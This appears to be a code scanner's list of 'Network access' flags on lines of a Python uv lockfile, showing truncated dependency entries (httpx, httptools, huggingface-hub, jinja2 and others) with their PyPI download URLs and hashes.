{ url = "https://files.pythonhosted.org/packages/84/a6/b3965e1e146ef5762870bbe76117876ceba51a201e18cc31f5703e454596/httptools-0.7.1-cp312-cp312-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:2c15f37ef679ab - Network accessline 959
{ url = "https://files.pythonhosted.org/packages/11/7d/71fee6f1844e6fa378f2eddde6c3e41ce3a1fb4b2d81118dd544e3441ec0/httptools-0.7.1-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7fe6e96 - Network accessline 960
{ url = "https://files.pythonhosted.org/packages/22/a5/079d216712a4f3ffa24af4a0381b108aa9c45b7a5cc6eb141f81726b1823/httptools-0.7.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:f72fdbae2dbc6e68b8239defb48e6a5937b12218e6ffc2c7846cc - Network accessline 961
{ url = "https://files.pythonhosted.org/packages/e9/9e/025ad7b65278745dee3bd0ebf9314934c4592560878308a6121f7f812084/httptools-0.7.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:e99c7b90a29fd82fea9ef57943d501a16f3404d7b9ee81799d4163 - Network accessline 962
{ url = "https://files.pythonhosted.org/packages/6d/de/40a8f202b987d43afc4d54689600ff03ce65680ede2f31df348d7f368b8f/httptools-0.7.1-cp312-cp312-win_amd64.whl", hash = "sha256:3e14f530fefa7499334a79b0cf7e7cd2992870eb893526fb097d51b4f2d0f321" - Network accessline 963
{ url = "https://files.pythonhosted.org/packages/09/8f/c77b1fcbfd262d422f12da02feb0d218fa228d52485b77b953832105bb90/httptools-0.7.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:6babce6cfa2a99545c60bfef8bee0cc0545413cb0018f617c80 - Network accessline 964
{ url = "https://files.pythonhosted.org/packages/0a/1a/22887f53602feaa066354867bc49a68fc295c2293433177ee90870a7d517/httptools-0.7.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:601b7628de7504077dd3dcb3791c6b8694bbd967148a6d1f018065092 - Network accessline 965
{ url = "https://files.pythonhosted.org/packages/32/6a/6aaa91937f0010d288d3d124ca2946d48d60c3a5ee7ca62afe870e3ea011/httptools-0.7.1-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:04c6c0e6c5fb07 - Network accessline 966
{ url = "https://files.pythonhosted.org/packages/6d/70/023d7ce117993107be88d2cbca566a7c1323ccbaf0af7eabf2064fe356f6/httptools-0.7.1-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:69d4f97 - Network accessline 967
{ url = "https://files.pythonhosted.org/packages/32/4d/9dd616c38da088e3f436e9a616e1d0cc66544b8cdac405cc4e81c8679fc7/httptools-0.7.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:44c8f4347d4b31269c8a9205d8a5ee2df5322b09bbbd30f8f8621 - Network accessline 968
{ url = "https://files.pythonhosted.org/packages/1d/3a/a6c595c310b7df958e739aae88724e24f9246a514d909547778d776799be/httptools-0.7.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:465275d76db4d554918aba40bf1cbebe324670f3dfc979eaffaa5d - Network accessline 969
{ url = "https://files.pythonhosted.org/packages/fd/82/88e8d6d2c51edc1cc391b6e044c6c435b6aebe97b1abc33db1b0b24cd582/httptools-0.7.1-cp313-cp313-win_amd64.whl", hash = "sha256:322d00c2068d125bd570f7bf78b2d367dad02b919d8581d7476d8b75b294e3e6" - Network accessline 970
{ url = "https://files.pythonhosted.org/packages/34/50/9d095fcbb6de2d523e027a2f304d4551855c2f46e0b82befd718b8b20056/httptools-0.7.1-cp314-cp314-macosx_10_13_universal2.whl", hash = "sha256:c08fe65728b8d70b6923ce31e3956f859d5e1e8548e6f22ec52 - Network accessline 971
{ url = "https://files.pythonhosted.org/packages/07/f0/89720dc5139ae54b03f861b5e2c55a37dba9a5da7d51e1e824a1f343627f/httptools-0.7.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:7aea2e3c3953521c3c51106ee11487a910d45586e351202474d45472d - Network accessline 972
{ url = "https://files.pythonhosted.org/packages/b3/cb/eea88506f191fb552c11787c23f9a405f4c7b0c5799bf73f2249cd4f5228/httptools-0.7.1-cp314-cp314-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:0e68b8582f4ea9 - Network accessline 973
{ url = "https://files.pythonhosted.org/packages/e0/4a/a548bdfae6369c0d078bab5769f7b66f17f1bfaa6fa28f81d6be6959066b/httptools-0.7.1-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:df091cf - Network accessline 974
{ url = "https://files.pythonhosted.org/packages/4d/31/14df99e1c43bd132eec921c2e7e11cda7852f65619bc0fc5bdc2d0cb126c/httptools-0.7.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:f084813239e1eb403ddacd06a30de3d3e09a9b76e7894dcda2b22 - Network accessline 975
{ url = "https://files.pythonhosted.org/packages/22/d2/b7e131f7be8d854d48cb6d048113c30f9a46dca0c9a8b08fcb3fcd588cdc/httptools-0.7.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:7347714368fb2b335e9063bc2b96f2f87a9ceffcd9758ac295f8bb - Network accessline 976
{ url = "https://files.pythonhosted.org/packages/53/cf/878f3b91e4e6e011eff6d1fa9ca39f7eb17d19c9d7971b04873734112f30/httptools-0.7.1-cp314-cp314-win_amd64.whl", hash = "sha256:cfabda2a5bb85aa2a904ce06d974a3f30fb36cc63d7feaddec05d2050acede96" - Network accessline 980
name = "httpx" version = "0.28.1" source = { registry = "https://pypi.org/simple" } - Network accessline 981
version = "0.28.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 982
source = { registry = "https://pypi.org/simple" } - Network accessline 987
{ name = "idna" }, ] sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e - Network accessline 988
] sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141 - Network accessline 989
sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 14140 - Network accessline 990
wheels = [ { url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59 - Network accessline 991
{ url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 735 - Network accessline 995
name = "httpx2" version = "2.12.0" source = { registry = "https://pypi.org/simple" } - Network accessline 996
version = "2.12.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 997
source = { registry = "https://pypi.org/simple" } - Network accessline 1004
{ name = "typing-extensions", marker = "python_full_version < '3.13'" }, ] sdist = { url = "https://files.pythonhosted.org/packages/7f/f8/579a8b51e42e38ee32647df9f08aa25643ae788e275cc625b199829c4671/httpx2-2.12.0.tar.gz", hash = "sha256:763 - Network accessline 1005
] sdist = { url = "https://files.pythonhosted.org/packages/7f/f8/579a8b51e42e38ee32647df9f08aa25643ae788e275cc625b199829c4671/httpx2-2.12.0.tar.gz", hash = "sha256:7631fe9887a8a2275f4a2540e053aa670fcc50742864a9ae7c66e609fdcf12cf", size = 10 - Network accessline 1006
sdist = { url = "https://files.pythonhosted.org/packages/7f/f8/579a8b51e42e38ee32647df9f08aa25643ae788e275cc625b199829c4671/httpx2-2.12.0.tar.gz", hash = "sha256:7631fe9887a8a2275f4a2540e053aa670fcc50742864a9ae7c66e609fdcf12cf", size = 1000 - Network accessline 1007
wheels = [ { url = "https://files.pythonhosted.org/packages/c8/95/411ba65569158e862368917aaf56597f3e5fa3b91b0502919638465a08f3/httpx2-2.12.0-py3-none-any.whl", hash = "sha256:cc8b6eecb8661c146b8f89a60e97456ee086e91a784ed31ac450c3a9e613d - Network accessline 1008
{ url = "https://files.pythonhosted.org/packages/c8/95/411ba65569158e862368917aaf56597f3e5fa3b91b0502919638465a08f3/httpx2-2.12.0-py3-none-any.whl", hash = "sha256:cc8b6eecb8661c146b8f89a60e97456ee086e91a784ed31ac450c3a9e613dd36", size = 95 - Network accessline 1012
name = "httpx2-jsfetch" version = "1.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1013
version = "1.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/cd/c4/0e5636363151a2a1795e0a77617168b9ca438e1748ec05fc9b5687f93d64/httpx2_jsfetch-1.0.tar.gz", hash = "sha256:70a0e3e - Network accessline 1014
source = { registry = "https://pypi.org/simple" } - Network accessline 1015
sdist = { url = "https://files.pythonhosted.org/packages/cd/c4/0e5636363151a2a1795e0a77617168b9ca438e1748ec05fc9b5687f93d64/httpx2_jsfetch-1.0.tar.gz", hash = "sha256:70a0e3eabfef7cce5ad9c629f7d01ca05e418f586646f4ddf14782e4c1454c60", size = - Network accessline 1016
wheels = [ { url = "https://files.pythonhosted.org/packages/9b/43/832f631d32e4f1211caa2ba368317739fe71f0b8530e4c9d15dc454bac2a/httpx2_jsfetch-1.0-py3-none-any.whl", hash = "sha256:cb916b707601e69a07721aabc8f3f6659be3a6893bc1ff5c6f9e0224 - Network accessline 1017
{ url = "https://files.pythonhosted.org/packages/9b/43/832f631d32e4f1211caa2ba368317739fe71f0b8530e4c9d15dc454bac2a/httpx2_jsfetch-1.0-py3-none-any.whl", hash = "sha256:cb916b707601e69a07721aabc8f3f6659be3a6893bc1ff5c6f9e02241df2da32", size - Network accessline 1021
name = "huggingface-hub" version = "1.5.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1022
version = "1.5.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1023
source = { registry = "https://pypi.org/simple" } - Network accessline 1033
{ name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/ae/76/b5efb3033d8499b17f9386beaf60f64c461798e1ee16d10bc9c0077beba5/huggingface_hub-1.5.0.tar.gz", hash = "sha256:f281838db29265880fb543de7a23b0f81d35 - Network accessline 1034
] sdist = { url = "https://files.pythonhosted.org/packages/ae/76/b5efb3033d8499b17f9386beaf60f64c461798e1ee16d10bc9c0077beba5/huggingface_hub-1.5.0.tar.gz", hash = "sha256:f281838db29265880fb543de7a23b0f81d3504675de82044307ea3c6c62f799d", s - Network accessline 1035
sdist = { url = "https://files.pythonhosted.org/packages/ae/76/b5efb3033d8499b17f9386beaf60f64c461798e1ee16d10bc9c0077beba5/huggingface_hub-1.5.0.tar.gz", hash = "sha256:f281838db29265880fb543de7a23b0f81d3504675de82044307ea3c6c62f799d", siz - Network accessline 1036
wheels = [ { url = "https://files.pythonhosted.org/packages/ec/74/2bc951622e2dbba1af9a460d93c51d15e458becd486e62c29cc0ccb08178/huggingface_hub-1.5.0-py3-none-any.whl", hash = "sha256:c9c0b3ab95a777fc91666111f3b3ede71c0cdced3614c553a64e9 - Network accessline 1037
{ url = "https://files.pythonhosted.org/packages/ec/74/2bc951622e2dbba1af9a460d93c51d15e458becd486e62c29cc0ccb08178/huggingface_hub-1.5.0-py3-none-any.whl", hash = "sha256:c9c0b3ab95a777fc91666111f3b3ede71c0cdced3614c553a64e98920585c4ee", s - Network accessline 1041
name = "icalendar" version = "7.1.1" source = { registry = "https://pypi.org/simple" } - Network accessline 1042
version = "7.1.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1043
source = { registry = "https://pypi.org/simple" } - Network accessline 1047
{ name = "tzdata" }, ] sdist = { url = "https://files.pythonhosted.org/packages/10/1b/f02e4d997f50d8274c877bbf4f7809e6b04216c4d0b859e6ac7f8566165a/icalendar-7.1.1.tar.gz", hash = "sha256:df80df31f57d345b68b2d07be579a24e8103f7b6555c548e8ef82 - Network accessline 1048
] sdist = { url = "https://files.pythonhosted.org/packages/10/1b/f02e4d997f50d8274c877bbf4f7809e6b04216c4d0b859e6ac7f8566165a/icalendar-7.1.1.tar.gz", hash = "sha256:df80df31f57d345b68b2d07be579a24e8103f7b6555c548e8ef8246cb2353186", size = - Network accessline 1049
sdist = { url = "https://files.pythonhosted.org/packages/10/1b/f02e4d997f50d8274c877bbf4f7809e6b04216c4d0b859e6ac7f8566165a/icalendar-7.1.1.tar.gz", hash = "sha256:df80df31f57d345b68b2d07be579a24e8103f7b6555c548e8ef8246cb2353186", size = 46 - Network accessline 1050
wheels = [ { url = "https://files.pythonhosted.org/packages/d0/86/33636ea5600a30f4674650f460903ca817d4aa0f3a5c655db1b5511fd6d6/icalendar-7.1.1-py3-none-any.whl", hash = "sha256:5e581b8376df7c66972edcf1597c99efc07011829f73df420c2648784c4 - Network accessline 1051
{ url = "https://files.pythonhosted.org/packages/d0/86/33636ea5600a30f4674650f460903ca817d4aa0f3a5c655db1b5511fd6d6/icalendar-7.1.1-py3-none-any.whl", hash = "sha256:5e581b8376df7c66972edcf1597c99efc07011829f73df420c2648784c424b42", size = - Network accessline 1055
name = "id" version = "1.6.1" source = { registry = "https://pypi.org/simple" } - Network accessline 1056
version = "1.6.1" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1057
source = { registry = "https://pypi.org/simple" } - Network accessline 1059
{ name = "urllib3" }, ] sdist = { url = "https://files.pythonhosted.org/packages/6d/04/c2156091427636080787aac190019dc64096e56a23b7364d3c1764ee3a06/id-1.6.1.tar.gz", hash = "sha256:d0732d624fb46fd4e7bc4e5152f00214450953b9e772c182c1c22964def - Network accessline 1060
] sdist = { url = "https://files.pythonhosted.org/packages/6d/04/c2156091427636080787aac190019dc64096e56a23b7364d3c1764ee3a06/id-1.6.1.tar.gz", hash = "sha256:d0732d624fb46fd4e7bc4e5152f00214450953b9e772c182c1c22964def1a069", size = 18088, - Network accessline 1061
sdist = { url = "https://files.pythonhosted.org/packages/6d/04/c2156091427636080787aac190019dc64096e56a23b7364d3c1764ee3a06/id-1.6.1.tar.gz", hash = "sha256:d0732d624fb46fd4e7bc4e5152f00214450953b9e772c182c1c22964def1a069", size = 18088, up - Network accessline 1062
wheels = [ { url = "https://files.pythonhosted.org/packages/42/77/de194443bf38daed9452139e960c632b0ef9f9a5dd9ce605fdf18ca9f1b1/id-1.6.1-py3-none-any.whl", hash = "sha256:f5ec41ed2629a508f5d0988eda142e190c9c6da971100612c4de9ad9f9b237ca", - Network accessline 1063
{ url = "https://files.pythonhosted.org/packages/42/77/de194443bf38daed9452139e960c632b0ef9f9a5dd9ce605fdf18ca9f1b1/id-1.6.1-py3-none-any.whl", hash = "sha256:f5ec41ed2629a508f5d0988eda142e190c9c6da971100612c4de9ad9f9b237ca", size = 14689, - Network accessline 1067
name = "idna" version = "3.18" source = { registry = "https://pypi.org/simple" } - Network accessline 1068
version = "3.18" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654 - Network accessline 1069
source = { registry = "https://pypi.org/simple" } - Network accessline 1070
sdist = { url = "https://files.pythonhosted.org/packages/cd/63/9496c57188a2ee585e0f1db071d75089a11e98aa86eb99d9d7618fc1edce/idna-3.18.tar.gz", hash = "sha256:ffb385a7e039654cef1ab9ef32c6fafe283c0c0467bba1d9029738ce4a14a848", size = 196711, - Network accessline 1071
wheels = [ { url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2" - Network accessline 1072
{ url = "https://files.pythonhosted.org/packages/1e/5e/d4e9f1a599fb8e573b7b87160658329fbf28d19eac2718f51fc3def3aa5a/idna-3.18-py3-none-any.whl", hash = "sha256:7f952cbe720b688055e3f87de14f5c3e5fdaa8bc3928985c4077ca689de849a2", size = 65455, - Network accessline 1076
name = "ifaddr" version = "0.2.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1077
version = "0.2.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/e8/ac/fb4c578f4a3256561548cd825646680edcadb9440f3f68add95ade1eb791/ifaddr-0.2.0.tar.gz", hash = "sha256:cc0cbfcaabf - Network accessline 1078
source = { registry = "https://pypi.org/simple" } - Network accessline 1079
sdist = { url = "https://files.pythonhosted.org/packages/e8/ac/fb4c578f4a3256561548cd825646680edcadb9440f3f68add95ade1eb791/ifaddr-0.2.0.tar.gz", hash = "sha256:cc0cbfcaabf765d44595825fb96a99bb12c79716b73b44330ea38ee2b0c4aed4", size = 10485 - Network accessline 1080
wheels = [ { url = "https://files.pythonhosted.org/packages/9c/1f/19ebc343cc71a7ffa78f17018535adc5cbdd87afb31d7c34874680148b32/ifaddr-0.2.0-py3-none-any.whl", hash = "sha256:085e0305cfe6f16ab12d72e2024030f5d52674afad6911bb1eee207177b8a7 - Network accessline 1081
{ url = "https://files.pythonhosted.org/packages/9c/1f/19ebc343cc71a7ffa78f17018535adc5cbdd87afb31d7c34874680148b32/ifaddr-0.2.0-py3-none-any.whl", hash = "sha256:085e0305cfe6f16ab12d72e2024030f5d52674afad6911bb1eee207177b8a748", size = 123 - Network accessline 1085
name = "import-linter" version = "2.15" source = { registry = "https://pypi.org/simple" } - Network accessline 1086
version = "2.15" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1087
source = { registry = "https://pypi.org/simple" } - Network accessline 1092
{ name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/3c/81/1bb414f8c8bcd024499e91f112d317c36a86bc264da1fd43f9797fc2b7b0/import_linter-2.15.tar.gz", hash = "sha256:1da912bea5e172a82a3ce617b5543f75cf64dc0 - Network accessline 1093
] sdist = { url = "https://files.pythonhosted.org/packages/3c/81/1bb414f8c8bcd024499e91f112d317c36a86bc264da1fd43f9797fc2b7b0/import_linter-2.15.tar.gz", hash = "sha256:1da912bea5e172a82a3ce617b5543f75cf64dc0d8f4d9b46c5578b68ccb81590", size - Network accessline 1094
sdist = { url = "https://files.pythonhosted.org/packages/3c/81/1bb414f8c8bcd024499e91f112d317c36a86bc264da1fd43f9797fc2b7b0/import_linter-2.15.tar.gz", hash = "sha256:1da912bea5e172a82a3ce617b5543f75cf64dc0d8f4d9b46c5578b68ccb81590", size = - Network accessline 1095
wheels = [ { url = "https://files.pythonhosted.org/packages/08/31/4571c20652a4002ed9e500046386f3731a77e23d95a608ae8a87f1fbb2da/import_linter-2.15-py3-none-any.whl", hash = "sha256:9aaf16a88ac1e99d5a464cd7f66b6a05f7060bfa761162e0ed441773 - Network accessline 1096
{ url = "https://files.pythonhosted.org/packages/08/31/4571c20652a4002ed9e500046386f3731a77e23d95a608ae8a87f1fbb2da/import_linter-2.15-py3-none-any.whl", hash = "sha256:9aaf16a88ac1e99d5a464cd7f66b6a05f7060bfa761162e0ed441773a267ed3b", size - Network accessline 1100
name = "iniconfig" version = "2.3.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1101
version = "2.3.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c7 - Network accessline 1102
source = { registry = "https://pypi.org/simple" } - Network accessline 1103
sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20 - Network accessline 1104
wheels = [ { url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53 - Network accessline 1105
{ url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = - Network accessline 1109
name = "itsdangerous" version = "2.2.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1110
version = "2.2.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/9c/cb/8ac0172223afbccb63986cc25049b154ecfb5e85932587206f42317be31d/itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050 - Network accessline 1111
source = { registry = "https://pypi.org/simple" } - Network accessline 1112
sdist = { url = "https://files.pythonhosted.org/packages/9c/cb/8ac0172223afbccb63986cc25049b154ecfb5e85932587206f42317be31d/itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173", size = - Network accessline 1113
wheels = [ { url = "https://files.pythonhosted.org/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891 - Network accessline 1114
{ url = "https://files.pythonhosted.org/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef", size - Network accessline 1118
name = "jaraco-classes" version = "3.4.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1119
version = "3.4.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1120
source = { registry = "https://pypi.org/simple" } - Network accessline 1122
{ name = "more-itertools" }, ] sdist = { url = "https://files.pythonhosted.org/packages/06/c0/ed4a27bc5571b99e3cff68f8a9fa5b56ff7df1c2251cc715a652ddd26402/jaraco.classes-3.4.0.tar.gz", hash = "sha256:47a024b51d0239c0dd8c8540c6c7f484be3b8fcf - Network accessline 1123
] sdist = { url = "https://files.pythonhosted.org/packages/06/c0/ed4a27bc5571b99e3cff68f8a9fa5b56ff7df1c2251cc715a652ddd26402/jaraco.classes-3.4.0.tar.gz", hash = "sha256:47a024b51d0239c0dd8c8540c6c7f484be3b8fcf0b2d85c13825780d3b3f3acd", si - Network accessline 1124
sdist = { url = "https://files.pythonhosted.org/packages/06/c0/ed4a27bc5571b99e3cff68f8a9fa5b56ff7df1c2251cc715a652ddd26402/jaraco.classes-3.4.0.tar.gz", hash = "sha256:47a024b51d0239c0dd8c8540c6c7f484be3b8fcf0b2d85c13825780d3b3f3acd", size - Network accessline 1125
wheels = [ { url = "https://files.pythonhosted.org/packages/7f/66/b15ce62552d84bbfcec9a4873ab79d993a1dd4edb922cbfccae192bd5b5f/jaraco.classes-3.4.0-py3-none-any.whl", hash = "sha256:f662826b6bed8cace05e7ff873ce0f9283b5c924470fe664fff1c2 - Network accessline 1126
{ url = "https://files.pythonhosted.org/packages/7f/66/b15ce62552d84bbfcec9a4873ab79d993a1dd4edb922cbfccae192bd5b5f/jaraco.classes-3.4.0-py3-none-any.whl", hash = "sha256:f662826b6bed8cace05e7ff873ce0f9283b5c924470fe664fff1c2f00f581790", si - Network accessline 1130
name = "jaraco-context" version = "6.1.2" source = { registry = "https://pypi.org/simple" } - Network accessline 1131
version = "6.1.2" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/af/50/4763cd07e722bb6285316d390a164bc7e479db9d90daa769f22578f698b4/jaraco_context-6.1.2.tar.gz", hash = "sha256:f1a - Network accessline 1132
source = { registry = "https://pypi.org/simple" } - Network accessline 1133
sdist = { url = "https://files.pythonhosted.org/packages/af/50/4763cd07e722bb6285316d390a164bc7e479db9d90daa769f22578f698b4/jaraco_context-6.1.2.tar.gz", hash = "sha256:f1a6c9d391e661cc5b8d39861ff077a7dc24dc23833ccee564b234b81c82dfe3", size - Network accessline 1134
wheels = [ { url = "https://files.pythonhosted.org/packages/f2/58/bc8954bda5fcda97bd7c19be11b85f91973d67a706ed4a3aec33e7de22db/jaraco_context-6.1.2-py3-none-any.whl", hash = "sha256:bf8150b79a2d5d91ae48629d8b427a8f7ba0e1097dd6202a9059f2 - Network accessline 1135
{ url = "https://files.pythonhosted.org/packages/f2/58/bc8954bda5fcda97bd7c19be11b85f91973d67a706ed4a3aec33e7de22db/jaraco_context-6.1.2-py3-none-any.whl", hash = "sha256:bf8150b79a2d5d91ae48629d8b427a8f7ba0e1097dd6202a9059f29a36379535", si - Network accessline 1139
name = "jaraco-functools" version = "4.5.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1140
version = "4.5.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1141
source = { registry = "https://pypi.org/simple" } - Network accessline 1143
{ name = "more-itertools" }, ] sdist = { url = "https://files.pythonhosted.org/packages/36/cf/ea4ef2920830dea3f5ab2ea4da6fb67724e6dca80ee2553788c3607243d0/jaraco_functools-4.5.0.tar.gz", hash = "sha256:3bb5665ea4a020cf78a7040e89154c77edadb3 - Network accessline 1144
] sdist = { url = "https://files.pythonhosted.org/packages/36/cf/ea4ef2920830dea3f5ab2ea4da6fb67724e6dca80ee2553788c3607243d0/jaraco_functools-4.5.0.tar.gz", hash = "sha256:3bb5665ea4a020cf78a7040e89154c77edadb3ca74f366479669c5999aa70b03", - Network accessline 1145
sdist = { url = "https://files.pythonhosted.org/packages/36/cf/ea4ef2920830dea3f5ab2ea4da6fb67724e6dca80ee2553788c3607243d0/jaraco_functools-4.5.0.tar.gz", hash = "sha256:3bb5665ea4a020cf78a7040e89154c77edadb3ca74f366479669c5999aa70b03", si - Network accessline 1146
wheels = [ { url = "https://files.pythonhosted.org/packages/96/9a/982e48afcffcd727a9144506720ffd4224b6b7e355c98641866f38b7c043/jaraco_functools-4.5.0-py3-none-any.whl", hash = "sha256:79ce39246eddbde4b3a03b77ea5f0f7878dc669b166a66cf3fa8 - Network accessline 1147
{ url = "https://files.pythonhosted.org/packages/96/9a/982e48afcffcd727a9144506720ffd4224b6b7e355c98641866f38b7c043/jaraco_functools-4.5.0-py3-none-any.whl", hash = "sha256:79ce39246eddbde4b3a03b77ea5f0f7878dc669b166a66cf3fa8e266aa3fa2f4", - Network accessline 1151
name = "jeepney" version = "0.9.0" source = { registry = "https://pypi.org/simple" } - Network accessline 1152
version = "0.9.0" source = { registry = "https://pypi.org/simple" } sdist = { url = "https://files.pythonhosted.org/packages/7b/6f/357efd7602486741aa73ffc0617fb310a29b588ed0fd69c2399acbb85b0c/jeepney-0.9.0.tar.gz", hash = "sha256:cf0e9e8456 - Network accessline 1153
source = { registry = "https://pypi.org/simple" } - Network accessline 1154
sdist = { url = "https://files.pythonhosted.org/packages/7b/6f/357efd7602486741aa73ffc0617fb310a29b588ed0fd69c2399acbb85b0c/jeepney-0.9.0.tar.gz", hash = "sha256:cf0e9e845622b81e4a28df94c40345400256ec608d0e55bb8a3feaa9163f5732", size = 1067 - Network accessline 1155
wheels = [ { url = "https://files.pythonhosted.org/packages/b2/a3/e137168c9c44d18eff0376253da9f1e9234d0239e0ee230d2fee6cea8e55/jeepney-0.9.0-py3-none-any.whl", hash = "sha256:97e5714520c16fc0a45695e5365a2e11b81ea79bba796e26f9f1d178cb182 - Network accessline 1156
{ url = "https://files.pythonhosted.org/packages/b2/a3/e137168c9c44d18eff0376253da9f1e9234d0239e0ee230d2fee6cea8e55/jeepney-0.9.0-py3-none-any.whl", hash = "sha256:97e5714520c16fc0a45695e5365a2e11b81ea79bba796e26f9f1d178cb182683", size = 49 - Network accessline 1160
name = "jinja2" version = "3.1.6" source = { registry = "https://pypi.org/simple" } - Network accessline 1161
version = "3.1.6" source = { registry = "https://pypi.org/simple" } dependencies = [ - Network accessline 1162
source = { registry = "https://pypi.org/simple" } - Network accessline 1164
{ name = "markupsafe" }, ] sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb8381 - Network accessline 1165
] sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245 - Network accessline 1166
